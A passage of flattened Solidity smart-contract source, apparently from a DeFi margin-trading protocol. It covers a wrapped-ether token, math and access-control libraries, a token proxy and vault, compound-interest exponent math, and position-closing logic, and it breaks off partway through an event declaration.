function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
